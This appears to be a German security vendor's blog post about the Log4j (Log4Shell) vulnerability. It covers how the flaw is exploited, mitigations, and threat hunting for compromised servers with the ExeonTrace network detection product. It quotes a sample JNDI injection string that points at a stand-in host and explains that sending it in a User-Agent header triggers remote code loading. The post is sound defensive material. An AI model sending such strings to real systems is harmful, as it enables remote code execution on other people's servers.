Bedrohungsjagd und Erkennung des Log4j-Exploits mit dem ExeonTrace NDR

Die Sicherheitslücke für die Remotecodeausführung in Apache Log4j2 [https://nvd.nist.gov/vuln/detail/CVE-2021-44228] ist eine der schwerwiegendsten Sicherheitslücken, die wir seit langem gesehen haben. Sie ist so schwerwiegend, weil die Schwachstelle sehr einfach auszunutzen ist und die Log4j-Protokollierungsbibliothek von vielen Java-Anwendungen verwendet wird. Daher muss man davon ausgehen, dass fast jedes größere Unternehmen potenziell betroffen ist, entweder durch intern entwickelte Software oder durch Java-Software, die von Zulieferern bereitgestellt wird. Nachdem wir einige Hintergrundinformationen gegeben haben, erläutern wir in diesem Blogbeitrag, wie man mit unserer ExeonTrace NDR-Software ausgenutzte Systeme identifizieren kann.

Wie die Log4j-Schwachstelle ausgenutzt werden kann

Die Log4j-Bibliothek wird in Java-Anwendungen zum Schreiben von Protokollnachrichten verwendet. Log4j unterstützt eine Syntax zur Ersetzung von Eigenschaften [https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution], um diese Protokollmeldungen mit Informationen anzureichern, die von Java-Code stammen, der von einem anderen System geladen wurde. Anfällige Versionen von Log4j (alle Versionen von 2.0-beta9 bis 2.14.1) scheinen diese Funktion nicht zu beschränken. Ein Angreifer muss also lediglich eine anfällige Java-Anwendung dazu bringen, Strings wie ${jndi:ldap://example.com/exploit} zu protokollieren, um den auf example.com gespeicherten Exploit auszuführen. Zum Beispiel protokollieren fast alle Webanwendungen den User-Agent von Clients. Ein Angreifer kann also einfach die oben genannte Zeichenfolge in das User-Agent-Feld von HTTP-Anfragen schreiben, um eine anfällige Webanwendung zu kompromittieren.

Es ist außerdem wichtig zu wissen, dass Daten, die über Internet-Anwendungen eingegeben werden, oft an andere Systeme weitergeleitet werden. Daher kann ein Angreifer möglicherweise ein System ausnutzen, das nicht direkt nach außen gerichtet ist, sondern lediglich Daten verarbeitet. So könnte ein Angreifer beispielsweise über eine Internetanwendung einen ungültigen Benutzernamen eingeben, der einen Fehler mit einem entsprechenden Protokoll in einer anfälligen Backend-Anwendung auslöst. Infolgedessen wird die Backend-Anwendung kompromittiert.

Positiv zu vermerken ist, dass laut Veracode [https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228] und Crowdstrike [https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/] nicht alle Java-Versionen in ihren Standardkonfigurationen betroffen zu sein scheinen. Außerdem können verwundbare Versionen >=2.10 gehärtet werden, ohne die Bibliothek zu ersetzen, indem entweder die Systemeigenschaft log4j2.formatMsgNoLookups=true (-Dlog4j2.formatMsgNoLookups=true auf der Java-Befehlszeile) oder die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS auf true gesetzt wird [https://logging.apache.org/log4j/2.x/security.html].

Für eine detailliertere Erklärung des Exploits und Empfehlungen lesen Sie bitte den Blogbeitrag von NCSC/GovCERT.ch [https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/].

Bedrohungsjagd mit ExeonTrace

Die Log4j-Exploits laden die bösartige Java-Anwendung über das Netzwerk. Wenn Sie ExeonTrace entsprechende Netzwerkprotokolle (NetFlow, IPFIX, Firewall-Protokolle) zur Verfügung stellen, können Sie ExeonTrace auf verdächtige Verbindungen prüfen, die von Ihren internen Servern ausgelöst werden.

Um die von internen Servern ausgelösten Verbindungen zu untersuchen, empfehlen wir Ihnen, in Ihrer ExeonTrace-Instanz "Flow analytics -> Client-Server-Paare -> Outbound" zu aktivieren (URL: https://YOUR_EXEONTRACE_INSTACE/analytics/flow/dominant-client-server-pairs/outbound). Beachten Sie den Filter "client:10.7.190.0/24" im unten gezeigten Beispiel, so dass nur Client-Aktivitäten von Servern im Beispielnetzwerk "10.7.190.0/24" visualisiert werden (die Server fungieren bei diesem Angriff als Clients, da sie versuchen, eine Verbindung zur externen Ressource herzustellen, um den Schadcode zu laden). Stellen Sie sicher, dass Sie die Option "Fehlgeschlagene Verbindungen anzeigen" aktivieren, um auch die höchstwahrscheinlich erfolglosen Angriffsversuche zu sehen, und "Alle Ports einbeziehen", um Verbindungen zu sehen, die über hohe Ports stattfinden.

Es ist auch eine gute Idee, die Registerkarte "Eingehend" auf verdächtige Aktivitäten zu überprüfen, da im Falle unvollständiger Protokolldaten Verbindungen manchmal gedreht werden. Auch die Registerkarte "Intern" ist interessant, da kompromittierte Systeme interne Aufklärungs- und Verlagerungsaktivitäten durchführen könnten.

Für Kunden mit dem Proxy-Logdaten-Analysemodul empfehlen wir außerdem, die Proxy-Client-Server-Paar-Ansicht von ExeonTrace zu prüfen (URL: https://YOUR_EXEONTRACE_INSTACE/analytics/proxy/client-server-pairs/). Auch hier empfiehlt es sich, nach den Servernetzwerken zu filtern ("client:10.7.190.0/24"), um zu sehen, ob die Server als Clients verdächtige Aktivitäten auslösen.

Automatisierte Erkennung mit ExeonTrace

Unabhängig von diesem Exploit überwacht ExeonTrace das Netzwerk kontinuierlich auf Anzeichen von interner Ausspähung und lateraler Bewegung. Darüber hinaus besteht die Möglichkeit, ein Analysemodell zu konfigurieren, das Warnungen auslöst, wenn neue Verbindungen von ausgewählten Servernetzwerken hergestellt werden. Bitte kontaktieren Sie unseren Support (support@exeon.ch), um Unterstützung bei der Einrichtung dieses Modells zu erhalten.

Kein bekannter Log4j-Exploit gegen die NDR-Software ExeonTrace

Obwohl die Log4j-Bibliothek in zwei Komponenten enthalten ist, die von der ExeonTrace NDR-Software verwendet werden, ist die ExeonTrace-Standardimplementierung unseres Wissens nach aufgrund ihrer Konfiguration nicht für den Log4j-Exploit anfällig.

Update 17.12.:

Weitere Recherchen haben ergeben, dass die unten genannten Maßnahmen (log4j2.formatMsgNoLookups=true sowie die Einstellung LOG4J_FORMAT_MSG_NO_LOOKUPS) möglicherweise nicht ausreichend sind. Es wird empfohlen, auf log4js Version 2.16.0 zu aktualisieren oder JndiLookup.class aus dem jar zu entfernen.